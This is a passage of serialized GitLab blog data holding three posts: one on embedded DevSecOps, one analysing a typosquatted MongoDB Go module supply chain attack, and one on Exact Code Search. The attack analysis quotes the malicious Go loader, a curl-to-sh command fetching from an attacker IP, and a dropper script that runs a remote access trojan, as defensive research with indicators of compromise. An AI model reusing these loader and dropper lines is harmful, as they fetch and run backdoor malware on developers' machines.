DeLaney","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659978/Blog/Hero%20Images/automation.png","2025-07-01","For embedded systems teams, DevSecOps has traditionally seemed like an approach better suited to SaaS applications than firmware development. But this is changing. Software is now a primary differentiator in hardware products. New market expectations demand modern development practices. In response, organizations are pursuing \"embedded DevSecOps.\"\n\nWhat is embedded DevSecOps? The application of collaborative engineering practices, integrated toolchains, and automation for building, testing, and securing software to embedded systems development. Embedded DevSecOps includes necessary adaptations for hardware integration.\n## Convergence of market forces\nThree powerful market forces are converging to compel embedded teams to modernize their development practices.\n### 1. The software-defined product revolution\nProducts once defined primarily by their hardware are now differentiated by their software capabilities. The software-defined vehicle (SDV) market tells a compelling story in this regard. It's projected to grow from $213.5 billion in 2024 to [$1.24 trillion](https://www.marketsandmarkets.com/Market-Reports/software-defined-vehicles-market-187205966.html) by 2030, a massive 34% compound annual growth rate.\nThe software content in these products is growing considerably. By the end of 2025, the average vehicle is expected to contain [650 million lines of code](https://www.statista.com/statistics/1370978/automotive-software-average-lines-of-codes-per-vehicle-globally/). Traditional embedded development approaches cannot handle this level of software complexity. \n### 2. Hardware virtualization as a technical enabler\nHardware virtualization is a key technical enabler of embedded DevSecOps. Virtual electronic control units (vECUs), cloud-based ARM CPUs, and sophisticated simulation environments are becoming more prevalent. Virtual hardware allows testing that once required physical hardware.\n\nThese virtualization technologies provide a foundation for continuous integration ([CI](https://about.gitlab.com/topics/ci-cd/)). But their value is fully realized only when integrated into an automated workflow. Combined with collaborative development practices and automated pipelines, virtual testing helps teams detect issues much earlier, when fixes are far less expensive. Without embedded DevSecOps practices and tooling to orchestrate these virtual resources, organizations can't capitalize on the virtualization trend.\n### 3. The competitive and economic reality\nThree interrelated forces are reshaping the competitive landscape for embedded development:\n- The talent war has shifted decisively. As an embedded systems leader at a GitLab customer explained, “No embedded engineers graduating from college today know legacy tools like Perforce. They know Git. These young engineers will work at a company for six months on legacy tools, then quit.” Companies using outdated tools may lose their engineering future.\n- This talent advantage translates into competitive superiority. Tech-forward companies that attract top engineers with modern practices achieve remarkable results. For example, in 2024, [SpaceX](https://spacenews.com/spacex-launch-surge-helps-set-new-global-launch-record-in-2024/) performed more orbital launches than the rest of the world combined. Tech-forward companies excel at software development and embrace a modern development culture. This, among other things, creates efficiencies that legacy companies struggle to match. \n- The rising costs of embedded development — driven by long feedback cycles — create an urgent need for embedded DevSecOps. When developers have to wait weeks to test code on hardware test benches, productivity remains inherently low. Engineers lose context and must switch contexts when results arrive. The problem worsens when defects enter the picture. Bugs become more expensive to fix the later they're discovered. Long feedback cycles magnify this problem in embedded systems.\n\nOrganizations are adopting embedded DevSecOps to help combat these challenges.\n## Priority transformation areas\nBased on these market forces, forward-thinking embedded systems leaders are implementing embedded DevSecOps in the following ways. \n### From hardware bottlenecks to continuous testing\nHardware-testing bottlenecks represent one of the most significant constraints in traditional embedded development. These delays create the unfavorable economics described earlier — when developers wait weeks for hardware access, defect costs spiral.\nAddressing this challenge requires a multifaceted approach including: \n* Automating the orchestration of expensive shared hardware test benches among embedded developers  \n* Integrating both SIL (Software-in-the-Loop) and HIL (Hardware-in-the-Loop) testing into automated CI pipelines  \n* Standardizing builds with version-controlled environments\n\nEmbedded developers can accomplish this with GitLab's [On-Premises Device Cloud](https://gitlab.com/gitlab-accelerates-embedded/comp/device-cloud), a CI/CD component. Through automating the orchestration of firmware tests on virtual and real hardware, teams are better positioned to reduce feedback cycles from weeks to hours. They also can catch more bugs early on in the software development lifecycle.\n### Automating compliance and security governance\nEmbedded systems face strict regulatory requirements. Manual compliance processes are unsustainable.\nLeading organizations are transforming how they comply with these requirements by: \n* Replacing manual workflows with automated [compliance frameworks](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/)  \n* Integrating specialized functional safety, security, and code quality tools into automated continuous integration pipelines  \n* Automating approval workflows, enforcing code reviews, and maintaining audit trails  \n* Configuring compliance frameworks for specific standards like ISO 26262 or DO-178C\n\nThis approach enables greater compliance maturity without additional headcount — turning what was once a burden into a competitive advantage. One leading electric vehicle (EV) manufacturer executes 120,000 CI/CD jobs per day with GitLab, many of which include compliance checks. And they can fix and deploy bug fixes to vehicles within an hour of discovery. This level of scale and speed would be extremely difficult without automated compliance workflows.\n### Enabling collaborative innovation\nHistorically, for valid business and technical reasons, embedded developers have largely worked alone at their desks. Collaboration has been limited. Innovative organizations break down these barriers by enabling shared code visibility through integrated source control and CI/CD workflows. These modern practices attract and retain engineers while unlocking innovation that would remain hidden in isolated workflows.\nAs one director of DevOps at a tech-forward automotive manufacturer (a GitLab customer) explains: \"It's really critical for us to have a single pane of glass that we can look at and see the statuses. The developers, when they bring a merge request, are aware of the status of a given workflow in order to move as fast as possible.\" This transparency accelerates innovation, enabling automakers to rapidly iterate on software features that differentiate their vehicles in an increasingly competitive market.\n## The window of opportunity\nEmbedded systems leaders have a clear window of opportunity to gain a competitive advantage through DevSecOps adoption. But the window won't stay open forever. Software continues to become the primary differentiator in embedded products, and the gap between leaders and laggards will only widen.\nOrganizations that successfully adopt DevSecOps will reduce costs, accelerate time-to-market, and unlock innovation that differentiates them in the market. The embedded systems leaders of tomorrow are the ones embracing DevSecOps today.\n> While this article explored why now is the critical time for embedded teams to adopt DevSecOps, you may be wondering about the practical steps to get started. Learn how to put these concepts into action with our guide: [4 ways to accelerate embedded development with GitLab](https://about.gitlab.com/blog/4-ways-to-accelerate-embedded-development-with-gitlab/).","devsecops",[964,695,110,965],"embedded DevOps","automotive",{"featured":6,"template":678,"slug":967},"why-now-is-the-time-for-embedded-devsecops","content:en-us:blog:why-now-is-the-time-for-embedded-devsecops.yml","Why Now Is The Time For Embedded Devsecops","en-us/blog/why-now-is-the-time-for-embedded-devsecops.yml","en-us/blog/why-now-is-the-time-for-embedded-devsecops",{"_path":973,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":974,"content":977,"config":984,"_id":986,"_type":16,"title":987,"_source":17,"_file":988,"_stem":989,"_extension":20},"/en-us/blog/gitlab-catches-mongodb-go-module-supply-chain-attack",{"noIndex":6,"title":975,"description":976},"GitLab catches MongoDB Go module supply chain attack","Learn how GitLab detected a supply chain attack targeting Go developers through fake MongoDB drivers that deploy persistent backdoor malware.",{"title":975,"description":976,"authors":978,"heroImage":980,"body":981,"category":674,"tags":982,"date":983},[979],"Michael Henriksen","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098739/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098739024.jpg","Software supply chain attacks via malicious dependencies continue to be one of the most significant security threats to modern software development. The widespread use of open source components has enabled development teams to build applications rapidly, but it has also widened the attack surface area. The growing ecosystem of third-party packages presents numerous opportunities for attackers to exploit dependencies through techniques like typosquatting, dependency confusion, and package impersonation, making it increasingly challenging for developers to distinguish legitimate packages from malicious imposters.\n\nTo address this challenge, GitLab's Vulnerability Research team recently developed an automated detection system designed to proactively identify malicious dependencies in software supply chains. The system combines multiple detection techniques that work in concert:\n\n- Automated typosquatting detection, which identifies suspicious naming patterns\n- Semantic code analysis, which flags potentially malicious behaviors like network requests or command executions\n- AI-assisted initial screening for advanced payload and obfuscation detection\n\nThis multi-layered approach is used by the vulnerability research team to continuously scan newly published dependencies across major ecosystems, providing early warning of supply chain attacks.\n\nUsing this detection system, GitLab recently identified a live typosquatting attack in the wild that leveraged a malicious MongoDB Go module. Below are details on the attack and how GitLab works to keep supply chains safe.\n\n## Executive summary: A MongoDB module that's not quite right\n\nOur detection system flagged a newly published Go module called `github.com/qiniiu/qmgo`, closely mimicking the popular [MongoDB](https://www.mongodb.com/) module `github.com/qiniu/qmgo`. The legitimate module describes itself as \"The Go driver for MongoDB\" and has gained traction in the Go community.\n\nTo disguise the malicious module as legitimate, the threat actor used a GitHub username nearly identical to the one associated with the real module with one subtle change: they added one “i” (`qiniu` → `qiniiu`). To the casual observer scrolling through search results or auto-complete suggestions, this difference would be very easy to overlook.\n\nThe new module’s code was a working copy of the legitimate `qmgo` module. However, malicious code was inserted into the `NewClient` function in `client.go`, a function that developers would naturally call when initializing their MongoDB connection. Concealing malicious code within a function made the payload less likely to be executed during potential runtime security analysis, while ensuring that it would execute from normal usage in real applications.\n\nAfter reporting the malicious module, it was removed within approximately 19 hours of our initial report. However, the threat actor quickly adapted, publishing a second typosquatted version (`github.com/qiiniu/qmgo`) just four days later with identical malicious code. This follow-up attack was also detected and taken down roughly one hour after initial discovery. The rapid redeployment demonstrates the persistent nature of these attacks and highlights why proactive detection is crucial in minimizing exposure windows.\n\n## Technical deep dive: Peeling back the layers\n\nThe threat actor took steps to hide the attack. The malicious payload used a multilayered approach, starting with a compact code snippet that triggered a chain of remote payload downloads:\n\n```go  \ntxt, err := script.Get(\"https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html\").String()  \nif err == nil {  \n    txt2, err := script.Get(string(strings.Replace(txt, \"\\n\", \"\", -1))).String()  \n    if err == nil {  \n        exec.Command(\"/bin/sh\", \"-c\", string(txt2)).Start()  \n    }  \n}  \n```\n\nThe attack unfolds in four distinct layers:\n\n**Layer 1:** The code fetches `update.html` from another repository owned by the typosquat account `qiiniu/vue-element-admin`. The file contained a single line: \n\n```  \nhttps://img.googlex.cloud/seed.php\n```\n\n**Layer 2:** The code then fetches `https://img.googlex.cloud/seed.php`, which returns a single shell command, which is executed: \n\n```bash  \ncurl -s http://207.148.110.29:80/logon61.gif|sh\n```\n\n**Layer 3:** The command tells the system to fetch `http://207.148.110.29:80/logon61.gif` using curl and execute the response as a shell script.  The shell script downloads what appears to be an MP3 file (`chainelli.mp3`) to `/tmp/vod`, makes it executable, runs it, and immediately deletes it:\n\n```bash  \n#!/bin/sh  \nrm -rf /tmp/vod  \ncurl -s http://207.148.110.29:80/chainelli.mp3 -o /tmp/vod  \nchmod 777 /tmp/vod  \n/tmp/vod  \nrm -rf /tmp/vod  \n```\n\n**Layer 4:** The `chainelli.mp3` file is actually a statically-linked, stripped ELF Go binary designed to establish persistent remote access. Once executed, the malware attempts to connect to its command and control server at `ellipal.spoolsv.cyou` on Port 443 (both TCP and UDP), using a custom encrypted communication protocol with a hardcoded RSA key. From there, it provides the threat actor with remote administration capabilities:\n\n* Complete remote shell access and one-off command execution  \n* Screenshot captures  \n* SOCKS proxy functionality to make connections through the compromised machine  \n* Configurable sleep interval between check-ins with the command and control server to avoid detection  \n* Standard remote access trojan features like filesystem browsing and upload/download\n\n## They're back (already)\n\nJust four days after GitLab reported the initial malicious module and saw it removed, `github.com/qiiniu/qmgo` appeared – the second typosquatted version with identical malicious code. This quick redeployment demonstrates the persistent nature of these attacks and highlights how threat actors adapt quickly to takedown efforts.\n\n## GitLab’s approach: Finding needles in haystacks\n\nThe initial discovery and persistence of this attack validated our approach to proactive dependency monitoring and threat detection. GitLab’s detection system combines multiple techniques to identify malicious dependencies:\n\n**Typosquatting detection:** GitLab monitors newly published dependencies and looks for packages that exhibit signs of various typosquatting strategies.\n\n**Semantic heuristics:** Our system statically analyzes code for patterns like network requests, command executions, and other behaviors typical of malicious payloads.\n\n**AI-assisted analysis:** A [large language model](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/) does the initial analysis of the suspicious parts of the code to help us weed out obvious false positives, detect complex payloads, and identify obfuscation techniques used to hide malicious intent.\n\n**Human review:** A human receives an alert to verify the finding and to perform advanced analysis.\n\n## Recommendations: Staying ahead of persistent supply chain threats\n\nThis attack highlights the ongoing challenges in securing software supply chains. The multilayered obfuscation and rapid redeployment after takedown demonstrate that threat actors are willing to invest significant effort in targeting popular dependencies.\n\nThe quick pivot to new typosquatted packages after our initial report highlights a fundamental weakness in the current ecosystems: package managers typically only remove malicious dependencies after they've been published, discovered, and reported by the community. This reactive approach leaves a dangerous window where developers can unknowingly consume compromised packages. Proactive monitoring and detection systems like the one GitLab has developed can help close this gap by identifying threats during the publication process itself.\n\nWe've provided indicators of compromise (IOCs) in the next section, which you can use in your monitoring systems to detect this specific campaign.\n\n## Indicators of compromise\n\n| IOC | Description |\n| :---- | :---- |\n| `github.com/qiniiu/qmgo` | Malicious Go module |\n| `github.com/qiiniu/qmgo` | Malicious Go module |\n| `https://raw.githubusercontent.com/qiniiu/vue-element-admin/refs/heads/main/public/update.html` | Payload delivery URL |\n| `https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html` | Payload delivery URL |\n| `https://img.googlex.cloud/seed.php` | Payload delivery URL |\n| `http://207.148.110.29:80/logon61.gif` | Payload delivery URL |\n| `http://207.148.110.29:80/chainelli.mp3` | Payload delivery URL |\n| `img.googlex.cloud` | Payload delivery host |\n| `207.148.110.29` | Payload delivery host |\n| `ellipal.spoolsv.cyou` | Command & Control host |\n| `6ada952c592f286692c59028c5e0fc3fa589759f` | SHA-1 checksum of chainelli.mp3 remote administration malware |\n| `8ae533e2d1d89c871908cbcf5c7d89c433d09b2e7f7d4ade3aef46c55b66509c` | SHA-256 checksum of chainelli.mp3 remote administration malware |\n| `/tmp/vod` | Temporary download location of chainelli.mp3 remote administration malware |\n\n## How GitLab helps secure the software supply chain \n\nMalicious dependencies, like the MongoDB Go module attack, highlight why securing the software supply chain requires more than just CVE monitoring. GitLab’s DevSecOps platform includes [Application Security Testing](https://docs.gitlab.com/user/application_security/secure_your_application/) scanners like Software Composition Analysis in the development lifecycle, helping teams catch vulnerable or malicious packages before they reach production. \n\nPaired with research efforts like this, GitLab aims to enable developers to build applications that are secure from the start without compromising on development velocity. \n\n## Timeline\n\n* **2025-06-01T09:31:** GitLab reports `github.com/qiniiu/qmgo` to Go Security  \n* **2025-06-01T09:43:** GitLab reports `github.com/qiniiu/qmgo` to GitHub  \n* **2025-06-01T10:14:** GitLab reports `ellipal.spoolsv.cyou` (`188.166.213.194`) to the IP block owner \n* **2025-06-02T04:03:** Go Security takes down `github.com/qiniiu/qmgo`\n* **2025-06-02T09:57:** The IP block owner suspends `188.166.213.194`\n* **2025-06-03T09:15:** GitHub suspends `github.com/qiniiu`\n* **2025-06-05T17:15:** GitLab reports `github.com/qiiniu/qmgo` to Go Security  \n* **2025-06-05T17:33:** GitLab reports `github.com/qiiniu/qmgo` to GitHub  \n* **2025-06-05T17:45:** Go Security takes down `github.com/qiiniu/qmgo`\n* **2025-06-06T12:25:** GitHub suspends `github.com/qiiniu`",[674,695],"2025-06-30",{"featured":92,"template":678,"slug":985},"gitlab-catches-mongodb-go-module-supply-chain-attack","content:en-us:blog:gitlab-catches-mongodb-go-module-supply-chain-attack.yml","Gitlab Catches Mongodb Go Module Supply Chain Attack","en-us/blog/gitlab-catches-mongodb-go-module-supply-chain-attack.yml","en-us/blog/gitlab-catches-mongodb-go-module-supply-chain-attack",{"_path":991,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":992,"content":995,"config":1001,"_id":1003,"_type":16,"title":1004,"_source":17,"_file":1005,"_stem":1006,"_extension":20},"/en-us/blog/exact-code-search-find-code-faster-across-repositories",{"noIndex":6,"title":993,"description":994},"Exact Code Search: Find code faster across repositories","Discover how this new GitLab feature can find exact matches, use regex patterns, and see contextual results across terabytes of codebases.",{"title":993,"description":994,"authors":996,"heroImage":671,"date":998,"body":999,"category":695,"tags":1000},[997],"Dmitry Gruzd","2025-06-25","**TL;DR:** What if you could find any line of code across 48 TB of repositories in milliseconds? GitLab's new [Exact Code Search](https://docs.gitlab.com/ee/user/search/exact_code_search.html) makes this possible, delivering pinpoint precision, powerful regex support, and contextual multi-line results that transform how teams work with large codebases.\n## Why traditional code search is challenging\n\nAnyone who works with code knows the frustration of searching across repositories. Whether you're a developer debugging an issue, a DevOps engineer examining configurations, a security analyst searching for vulnerabilities, a technical writer updating documentation, or a manager reviewing implementation, you know exactly what you need, but traditional search tools often fail you.\n\nThese conventional tools return dozens of false positives, lack the context needed to understand results, and slow to a crawl as codebases grow. The result? Valuable time spent hunting for needles in haystacks instead of building, securing, or improving your software.\n\nGitLab's code search functionality has historically been backed by Elasticsearch or OpenSearch. While these are excellent for searching issues, merge requests, comments, and other data containing natural language, they weren't specifically designed for code. After [evaluating numerous options](https://gitlab.com/groups/gitlab-org/-/epics/7404), we developed a better solution.\n\n## Introducing Exact Code Search: Three game-changing capabilities\n\nEnter GitLab's **[Exact Code Search](https://docs.gitlab.com/ee/user/search/exact_code_search.html)**, currently in beta testing and powered by [Zoekt](https://github.com/sourcegraph/zoekt) (pronounced \"zookt\", Dutch for \"search\"). Zoekt is an open-source code search engine originally created by Google and now maintained by Sourcegraph, specifically designed for fast, accurate code search at scale. We've enhanced it with GitLab-specific integrations, enterprise-scale improvements, and seamless permission system integration.\n\nThis feature revolutionizes how you find and understand code with three key capabilities:\n\n**1. Exact Match mode: Zero false positives**\n\nWhen toggled to **Exact Match mode**, the search engine returns only results that match your query exactly as entered, eliminating false positives. This precision is invaluable when:\n\n* Searching for specific error messages\n* Looking for particular function signatures\n* Finding instances of specific variable names\n\n**2. Regular Expression mode: Powerful pattern matching**\n\nFor complex search needs, Regular Expression mode allows you to craft sophisticated search patterns:\n\n* Find functions following specific naming patterns\n* Locate variables matching certain constraints\n* Identify potential security vulnerabilities using pattern matching\n\n**3. Multiple-line matches: See code in context**\n\n![Exact Code Search](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750704179/ttjuilkt3v7gtyywnchx.png)\n\nInstead of seeing just a single line with your matching term, you get the surrounding context that's crucial for understanding the code. This eliminates the need to click through to files for basic comprehension, significantly accelerating your workflow.\n\n## From features to workflows: Real-world use cases and impact\n\nLet's see how these capabilities translate to real productivity gains in everyday development scenarios:\n\n### Debugging: From error message to root cause in seconds\n\nBefore Exact Code Search:\nCopy an error message, search, wade through dozens of partial matches in comments and documentation, click through multiple files, and eventually find the actual code.\n\nWith Exact Code Search:\n\n1. Copy the exact error message\n2. Paste it into Exact Code Search with Exact Match mode\n3. Instantly find the precise location where the error is thrown, with surrounding context\n\n**Impact:** Reduce debugging time from minutes to seconds, eliminating the frustration of false positives.\n\n### Code exploration: Master unfamiliar codebases quickly\n\nBefore Exact Code Search:\nBrowse through directories, make educated guesses about file locations, open dozens of files, and slowly build a mental map of the codebase.\n\nWith Exact Code Search:\n\n* Search for key methods or classes with Exact Match mode\n* Review multiple line matches to understand implementation details\n* Use Regular Expression mode to find similar patterns across the codebase\n\n**Impact:** Build a mental map of code structure in minutes rather than hours, dramatically accelerating onboarding and cross-team collaboration.\n\n### Refactoring with confidence\n\nBefore Exact Code Search:\nAttempt to find all instances of a method, miss some occurrences, and introduce bugs through incomplete refactoring.\n\nWith Exact Code Search:\n\n* Use Exact Match mode to find all occurrences of methods or variables\n* Review context to understand usage patterns\n* Plan your refactoring with complete information about impact\n\n**Impact:** Eliminate the \"missed instance\" bugs that often plague refactoring efforts, improving code quality and reducing rework.\n\n### Security auditing: Finding vulnerable patterns\n\nSecurity teams can:\n\n* Create regex patterns matching known vulnerable code\n* Search across all repositories in a namespace\n* Quickly identify potential security issues with context that helps assess risk\n\n**Impact:** Transform security audits from manual, error-prone processes to systematic, comprehensive reviews.\n\n### Cross-repository insights\n\nSearch across your entire namespace or instance to:\n\n* Identify similar implementations across different projects\n* Discover opportunities for shared libraries or standardization\n\n**Impact:** Break down silos between projects and identify opportunities for code reuse and standardization.\n\n## The technical foundation: How Zoekt delivers speed and precision\n\nBefore diving into our scale achievements, let's explore what makes Zoekt fundamentally different from traditional search engines — and why it can find exact matches so incredibly fast.\n\n### Positional trigrams: The secret to lightning-fast exact matches\n\nZoekt's speed comes from its use of **positional trigrams** — a technique that indexes every sequence of three characters along with their exact positions in files. This approach solves one of the biggest pain points developers have had with Elasticsearch-based code search: false positives.\n\nHere's how it works:\n\n**Traditional full-text search engines** like Elasticsearch tokenize code into words and lose positional information. When you search for `getUserId()`, they might return results containing **user**, **get**, and **Id** scattered throughout a file — leading to those frustrating false positives for GitLab users.\n\n**Zoekt's positional trigrams** maintain exact character sequences and their positions. When you search for `getUserId()`, Zoekt looks for the exact trigrams like **get**, **etU**, **tUs**, **Use**, **ser**, **erI**, **rId**, **Id(\", \"d()**, all in the correct sequence and position. This ensures that only exact matches are returned.\n\nThe result? Search queries that previously returned hundreds of irrelevant results now return only the precise matches you're looking for. This was [one of our most requested features](https://gitlab.com/gitlab-org/gitlab/-/issues/325234) for good reason - developers were losing significant time sifting through false positives.\n\n### Regular expression performance at scale\n\nZoekt excels at exact matches and is optimized for regular expression searches. The engine uses sophisticated algorithms to convert regex patterns into efficient trigram queries when possible, maintaining speed even for complex patterns across terabytes of code.\n\n## Built for enterprise scale\n\nExact Code Search is powerful and built to handle massive scale with impressive performance. This is not just a new UI feature — it's powered by a completely reimagined backend architecture.\n\n### Handling terabytes of code with ease\n\nOn GitLab.com alone, our Exact Code Search infrastructure indexes and searches over **48 TB** of code data while maintaining lightning-fast response times. This scale represents millions of repositories across thousands of namespaces, all searchable within milliseconds. To put this in perspective: This scale represents more code than the entire Linux kernel, Android, and Chromium projects combined. Yet Exact Code Search can find a specific line across this massive codebase in milliseconds.\n\n### Self-registering node architecture\n\nOur innovative implementation features:\n\n* **Automatic node registration:** Zoekt nodes register themselves with GitLab\n* **Dynamic shard assignment:** The system automatically assigns namespaces to nodes\n* **Health monitoring:** Nodes that don't check in are automatically marked offline\n\nThis self-configuring architecture dramatically simplifies scaling. When more capacity is needed, administrators can simply add more nodes without complex reconfiguration.\n\n### Distributed system with intelligent load balancing\n\nBehind the scenes, Exact Code Search operates as a distributed system with these key components:\n\n* **Specialized search nodes:** Purpose-built servers that handle indexing and searching\n* **Smart sharding:** Code is distributed across nodes based on namespaces\n* **Automatic load balancing:** The system intelligently distributes work based on capacity\n* **High availability:** Multiple replicas ensure continuous operation even if nodes fail\n\n*Note: High availability is built into the architecture but not yet fully enabled. See [Issue 514736](https://gitlab.com/gitlab-org/gitlab/-/issues/514736) for updates.*\n\n### Seamless security integration\n\nExact Code Search automatically integrates with GitLab's permission system:\n\n* Search results are filtered based on the user's access rights\n* Only code from projects the user has access to is displayed\n* Security is built into the core architecture, not added as an afterthought\n\n### Optimized performance\n\n* **Efficient indexing:** Large repositories are indexed in tens of seconds\n* **Fast query execution:** Most searches return results with sub-second response times\n* **Streaming results:** The new gRPC-based federated search streams results as they're found\n* **Early termination:** Once enough results are collected, the system pauses searching\n\n## From library to distributed system: Engineering challenges we solved\n\nWhile Zoekt provided the core search technology, it was originally designed as a minimal library for managing `.zoekt` index files - not a distributed database or enterprise-scale service. Here are the key engineering challenges we overcame to make it work at GitLab's scale\"\n\n### Challenge 1: Building an orchestration layer\n\n**The problem:** Zoekt was designed to work with local index files, not distributed across multiple nodes serving many concurrent users.\n\n**Our solution:** We built a comprehensive orchestration layer that:\n\n* Creates and manages database models to track nodes, indices, repositories, and tasks\n* Implements a self-registering node architecture (inspired by GitLab Runner)\n* Handles automatic shard assignment and load balancing across nodes\n* Provides bidirectional API communication between GitLab Rails and Zoekt nodes\n\n### Challenge 2: Scaling storage and indexing\n\n**The problem:** How do you efficiently manage terabytes of index data across multiple nodes while ensuring fast updates?\n\n**Our solution:** We implemented:\n\n* Intelligent sharding: Namespaces are distributed across nodes based on capacity and load\n* Independent replication: Each node independently indexes from [Gitaly](https://gitlab.com/gitlab-org/gitaly) (our Git storage service), eliminating complex synchronization\n* Watermark management: Sophisticated storage allocation that prevents nodes from running out of space\n* Unified binary architecture: A single `gitlab-zoekt` binary that can operate in both indexer and webserver modes\n\n### Challenge 3: Permission Integration\n\n**The problem:** Zoekt had no concept of GitLab's complex permission system - users should only see results from projects they can access.\n\n**Our solution:** We built native permission filtering directly into the search flow:\n\n* Search requests include user permission context\n* Results are filtered to include only those the user can access in case permissions change before indexing completes\n\n### Challenge 4: Operational simplicity\n\n**The problem:** Managing a distributed search system shouldn't require a dedicated team.\n\n**Our solution:**\n\n* Auto-scaling: Adding capacity is as simple as deploying more nodes - they automatically register and start handling work\n* Self-healing: Nodes that don't check in are automatically marked offline and their work redistributed\n* Zero-configuration sharding: The system automatically determines optimal shard assignments\n\n## Gradual rollout: Minimizing risk at scale\n\nRolling out a completely new search backend to millions of users required careful planning. Here's how we minimized customer impact while ensuring reliability:\n\n### Phase 1: Controlled testing (gitlab-org group)\n\nWe started by enabling Exact Code Search only for the `gitlab-org` group - our own internal repositories. This allowed us to:\n\n* Test the system with real production workloads\n* Identify and fix performance bottlenecks\n* Streamline the deployment process\n* Learn from real users' workflows and feedback\n\n### Phase 2: Performance validation and optimization\n\nBefore expanding, we focused on ensuring the system could handle GitLab.com's scale:\n\n* Implemented comprehensive monitoring and alerting\n* Validated storage management with real production data growth\n\n### Phase 3: Incremental customer expansion\n\nWe gradually expanded to customers interested in testing Exact Code Search:\n\n* Gathered feedback on performance and user experience\n* Refined the search UI based on real user workflows\n* Optimized indexing performance (large repositories like `gitlab-org/gitlab` now index in ~10 seconds)\n* Refined the architecture based on operational learnings\n* Massively increased indexing throughput and improved state transition livecycle\n\n### Phase 4: Broad rollout\n\nToday, over 99% of Premium and Ultimate licensed groups on GitLab.com have access to Exact Code Search. Users can:\n\n* Toggle between regex and exact search modes\n* Experience the benefits without any configuration changes\n* Fall back to the previous search if needed (though few choose to)\n\nRolling this out gradually meant users didn't experience service disruptions, performance degradation, or feature gaps during the transition. We've already received positive feedback from users as they notice their results becoming more relevant and faster.\n\n> **For technical deep dive:** Interested in the detailed architecture and implementation? Check out our comprehensive [design document](https://handbook.gitlab.com/handbook/engineering/architecture/design-documents/code_search_with_zoekt/) for in-depth technical details about how we built this distributed search system.\n\n## Getting started with Exact Code Search\n\nGetting started with Exact Code Search is simple because it's already enabled by default for Premium and Ultimate groups on GitLab.com (over 99% of eligible groups currently have access).\n\n### Quickstart guide\n\n1. Navigate to the Advanced Search in your GitLab project or group\n2. Enter your search term in the code tab\n3. Toggle between Exact Match and Regular Expression modes\n4. Use filters to refine your search\n\n### Basic search syntax\n\nWhether using Exact Match or Regular Expression mode, you can refine your search with modifiers:\n\n| Query Example | What It Does                                             |\n| ------------- | -------------------------------------------------------- |\n| `file:js`     | Searches only in files containing \"js\" in their name     |\n| `foo -bar`    | Finds \"foo\" but excludes results with \"bar\"              |\n| `lang:ruby`   | Searches only in Ruby files                              |\n| `sym:process` | Finds \"process\" in symbols (methods, classes, variables) |\n\n> **Pro Tip:** For the most efficient searches, start specific and then broaden if needed. Using `file:` and `lang:` filters dramatically increases relevance.\n\n### Advanced search techniques\n\nStack multiple filters for precision:\n\n```\nis_expected file:rb -file:spec\n```\n\nThis finds \"is_expected\" in Ruby files that don't have \"spec\" in their name.\n\nUse regular expressions for powerful patterns:\n\n```\ntoken.*=.*[\\\"']\n```\n\n[Watch this search performed against the GitLab Zoekt repository.](https://gitlab.com/search?search=token.*%3D.*%5B%5C%22'%5D&nav_source=navbar&project_id=46649240&group_id=9970&search_code=true&repository_ref=main&regex=true)\n\nThe search helps find hardcoded passwords, which, if not found, can be a security issue.\n\nFor more detailed syntax information, check the [Exact Code Search documentation](https://docs.gitlab.com/user/search/exact_code_search/#syntax).\n\n## Availability and deployment\n\n### Current availability\n\nExact Code Search is currently in Beta for GitLab.com users with Premium and Ultimate licenses:\n\n* Available for over 99% of licensed groups\n* Search in the UI automatically uses Zoekt when available, Exact Code Search in Search API is behind a feature flag\n\n### Self-managed deployment options\n\nFor self-managed instances, we offer several deployment methods:\n\n* Kubernetes/Helm: Our most well-supported method, using our [`gitlab-zoekt` Helm chart](https://gitlab.com/gitlab-org/cloud-native/charts/gitlab-zoekt)\n* Other deployment options: We're working on streamlining deployment for Omnibus and other installation methods\n\nSystem requirements depend on your codebase size, but the architecture is designed to scale horizontally and/or vertically as your needs grow.\n\n## What's coming next\n\nWhile Exact Code Search is already powerful, we're continuously improving it:\n\n* **Scale optimizations** to support instances with hundreds of thousands of repositories\n* **Improved self-managed deployment** options, including streamlined Omnibus support\n* **Full high availability support** with automatic failover and load balancing\n\nStay tuned for updates as we move from Beta to General Availability.\n\n## Transform how you work with code\n\nGitLab's Exact Code Search represents a fundamental rethinking of code discovery. By delivering exact matches, powerful regex support, and contextual results, it solves the most frustrating aspects of code search:\n\n* No more wasting time with irrelevant results\n* No more missing important matches\n* No more clicking through files just to understand basic context\n* No more performance issues as codebases grow\n\nThe impact extends beyond individual productivity:\n\n* **Teams collaborate better** with easy code referencing\n* **Knowledge sharing accelerates** when patterns are discoverable\n* **Onboarding becomes faster** with quick codebase comprehension\n* **Security improves** with effective pattern auditing\n* **Technical debt reduction** becomes more feasible\n\nExact Code Search isn't just a feature, it's a better way to understand and work with code. Stop searching and start finding.\n\n**We'd love to hear from you!** Share your experiences, questions, or feedback about Exact Code Search in our [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/420920). Your input helps us prioritize improvements and new features.\n\n> #### Ready to experience smarter code search? Learn more in our [documentation](https://docs.gitlab.com/ee/user/search/exact_code_search.html) or try it now by performing a search in your Premium or Ultimate licensed namespaces or projects. Not a GitLab user yet? Try [a free, 60-day trial of GitLab Ultimate with Duo](https://about.gitlab.com/free-trial/)!",[695,696,815],{"featured":6,"template":678,"slug":1002},"exact-code-search-find-code-faster-across-repositories","content:en-us:blog:exact-code-search-find-code-faster-across-repositories.yml","Exact Code Search Find Code Faster Across Repositories","en-us/blog/exact-code-search-find-code-faster-across-repositories.yml","en-us/blog/exact-code-search-find-code-faster-across-repositories",{"_path":1008,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1009,"content":1012,"config":1017,"_id":1020,"_type":16,"title":1021,"_source":17,"_file":1022,"_stem":1023,"_extension":20},"/en-us/blog/gitlab-patch-release-18-1-1-18-0-3-17-11-5",{"config":1010,"title":1011,"description":708},{"noIndex":92},"GitLab Patch Release: 18.1.1, 